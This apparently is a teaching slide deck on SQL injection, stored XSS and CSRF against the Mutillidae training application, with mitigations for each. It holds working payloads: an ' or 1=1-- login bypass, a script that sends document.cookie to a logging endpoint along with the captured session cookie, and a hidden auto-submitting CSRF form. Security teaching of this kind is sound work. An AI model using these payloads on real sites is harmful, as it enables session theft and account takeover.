

SQL Injection

Please sign-in

Name

Password

Login

Dont have an account? [Please register here](#)

includes/process-login-attempt.php

```
$lUsername = $_POST["username"];  
$lPassword = $_POST["password"];  
$lQueryResult = $SQLQueryHandler->getUserAccount($lUsername,  
$lPassword);
```

classes/SQLQueryHandler.php

```
public function getUserAccount($pUsername, $pPassword){  
    $lQueryString = "SELECT * FROM accounts  
        WHERE username='".$pUsername.'" AND password='".$pPassword.'";  
    return $this->mMySQLHandler->executeQuery($lQueryString); }
```

By-Pass Password

- Name Textbox --> ' or 1=1--
 - Note the space after the "--" which is required in MySQL
- Search for where username is " OR where 1 is equal to 1
 - Condition that is always true (OR 1=1)
- "--" is a comment
 - Eliminates that password authentication
- Full query:
 - SELECT * FROM accounts
 - WHERE username=" or 1=1--" AND password="
- Logging in as the first user => admin

Attacking Password

- Open page source
- Locate "password" and change to "text"
- Now you can see what you type
- Type ' and verify you get an exception
- Try
 - Username samurai
 - Password ' or 1=1--
- **and** has higher precedence than **or**
- SELECT * FROM accounts WHERE (username='samurai' AND password=") or 1=1--

Attacking Password

- Open page source
- Locate “password” and change:
 - Type to “text”
 - Size and maxlength to 50
- Now you can type a lot and see what you type
- Try
 - Username `samurai`
 - Password `' or (1=1 and username='samurai')--`

Mitigation

[classes/SQLQueryHandler.php](#)

```
public function getUserAccount($pUsername, $pPassword){  
    $pUsername = escape_string($pUsername);  
    $pPassword = escape_string($pPassword);  
    $lQueryString = "SELECT * FROM accounts WHERE  
        username='" . $pUsername . "' AND  
        password='" . $pPassword . "'";  
    return executeQuery($lQueryString);  
}
```

```
mysqli::escape_string ( string $escapestr ) : string  
Characters encoded are NUL (ASCII 0), \n, \r, \, ', "
```

XSS

Cross Site Scripting (XSS)

- Typically found in Web applications
- XSS enables attackers to inject client-side script into Web pages viewed by other users
- Bypass access controls such as the same origin policy
- Capture credentials

Second Order – Persistent

For smarter victims

The victim just needs to see our “post”

add-to-your-blog.php

Add New Blog Entry

[View Blogs](#)

Add blog for anonymous

Note: ****, ****, **<i>**, **</i>**, **<u>** and **</u>** are now allowed in blog entries

`<script>alert("Hello")</script>`



```
<script>
  new Image().src=
    "http://localhost/cgi-bin/logit.pl?" + document.cookie;
</script>
```

```
HTTP_REFERER: http://localhost/mutillidae/index.php?page=add-to-
your-blog.php
DATE: ...; NAME: showhints; VALUE: 1
DATE: ...; NAME: username; VALUE: samurai
DATE: ...; NAME: uid; VALUE: 6
DATE: ...; NAME: PHPSESSID; VALUE: urms6fb4ta1bogldm3tdej2v26
```

Adding Cookies in Cookie Manager



Mitigation

- HttpOnly [optional]
 - The cookie cannot be accessed by client-side script
- Must be implemented in server and browser
- If not implemented by browser, treated as regular cookie

CSRF

Cross Site Request Forgery (CSRF)

- Forces an end user to execute unwanted actions on a web application in which they're currently authenticated
- Typically combines social engineering
 - trick the users of a web application into executing actions of the attacker's choosing
- If the victim is a normal user
 - can force the user to perform state changing requests like transferring funds, changing their email address, and so forth
- If the victim is an administrative account
 - can compromise the entire web application.

Theory

- We want to trick the user to submit a request
- Two types of requests
 - GET – a simple URL: <http://1.1.1.1/do.php?x=1&y=2>
 - POST – requires a form with hidden elements

Automatic Invocation

- GET
 - Hidden image: ``
 - `<i onmouseover="window.location.href='http://1.1.1.1'">My Visible Text</i>`
- POST
 - `<form id="f" action="http://1.1.1.1" method="post" enctype="application/x-www-form-urlencoded">`
`<input type="hidden" name="N1" value="V1">`
`</form>`
`<i onmouseover="window.document.getElementById('f').submit()">My Visible Text</i>`

Add blog for anonymous

Note: ****, *<i>* and <u> are now allowed in blog entries

hello

Save Blog Entry

Network Monitor (F12 in Firefox)

Headers	Cookies	Params	Response	Timings
Filter Request Parameters				
▼ Query String				
page: add-to-your-blog.php				
▼ Form data				
csrf-token:				
blog_entry: hello				
add-to-your-blog-php-submit-button: Save+Blog+Entry				

- **Add a blog entry as *samurai***
- `<form id="f" action="http://localhost/mutillidae/index.php?page=add-to-your-blog.php" method="post" enctype="application/x-www-form-urlencoded">`
`<input type="hidden" name="csrf-token" value="">`
`<input type="hidden" name="blog_entry" value="Added by CSRF">`
`<input type="hidden" name="add-to-your-blog-php-submit-button" value="Save+Blog+Entry">`
`</form>`
`<i onmouseover="window.document.getElementById('f').submit()">My Visible Text</i>`

4	samurai	2021-03-30 00:06:18	<i>My Visible Text</i>
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The Idea

4	samurai	2021-03-30 00:06:18	<i>My Visible Text</i>
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Wait for *admin* to move the mouse over this entry

2	admin	2021-03-30 00:11:34	Added by CSRF
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Mitigation

- **CSRF Tokens**
 - During session creation, a random value V is generated
 - In each form the server adds a hidden field with value V
 - When a form is submitted, the server verifies V's correctness
 - Without knowing V, the attacker cannot create valid requests